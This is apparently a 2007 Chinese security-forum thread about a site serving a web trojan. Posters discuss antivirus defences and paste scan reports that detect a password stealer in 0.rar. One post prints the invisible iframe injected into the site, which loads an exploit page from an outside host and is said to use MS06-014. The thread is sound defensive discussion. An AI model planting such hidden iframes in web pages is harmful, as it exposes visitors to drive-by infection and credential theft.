毒网么

显示全部楼层 · 发表于 2007-3-27 15:11:43

如果真的是威金倒也不怕了，费尔对付威金和熊猫不需要病毒库一样搞定。因为动态防御可以搞定，如果不小心把动态防御和实时监控都关闭鸟，费尔的“启动病毒感染预警”和“阻止对可执行文件写操作”这两项勾上就完全可以制止这个病毒

显示全部楼层 · 发表于 2007-3-27 15:11:59

找到了,是这里挂的

<iframe src="htp://w.qbbd.com/bd.htm?1028" width="0" height="0" frameborder="0"></iframe> </td>

复制代码

是根据MS06-014做的

显示全部楼层 · 发表于 2007-3-27 17:36:25

卡巴报警...

显示全部楼层 · 发表于 2007-3-27 17:42:08

倒，最近两天怎么那么多ms06-017的网马啊，而且貌似都是由某个网马生成器弄出来的

显示全部楼层 · 发表于 2007-3-27 22:55:14

Starting the file scan:

Begin scan in 'C:\Documents and Settings\morgan\My Documents\0.rar'
C:\Documents and Settings\morgan\My Documents\
  0.rar
[0] Archive type: RAR
--> 0.exe
      [DETECTION] Is the Trojan horse TR/Crypt.NSPM.Gen
      [WARNING] Infected files in archives cannot be repaired!
      [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-3-28 08:14:32

-----------------------------SCAN REPORT-----------------------------
F-PROT Antivirus for Windows

Antivirus Scanning Engine version number: 4.3.1
Virus signature file from: 2007-3-28, 3:01

Scan name: [Custom Scan]
Path to scan: C:\Documents and Settings\Administrator\桌面\0.rar

Normal scan
Also scan: Inside subfolders, Compressed files, Streams

Scan started: 2007-3-28, 8:13:36
---------------------------------------------------------------------

[Found possible virus] <W32/PWStealer.gen1 (not disinfectable)> C:\Documents and Settings\Administrator\桌面\0.rar->0.exe
[Contains infected objects] C:\Documents and Settings\Administrator\桌面\0.rar
[Quarantined] C:\Documents and Settings\Administrator\桌面\0.rar->0.exe

---------------------------------------------------------------------
Scan ended: 2007-3-28, 8:13:38
Duration: 0:00:02

Scan result:

Scanned files:    1
Infected objects:    1
Disinfected objects:    0
Quarantined files:    1
---------------------------------------------------------------------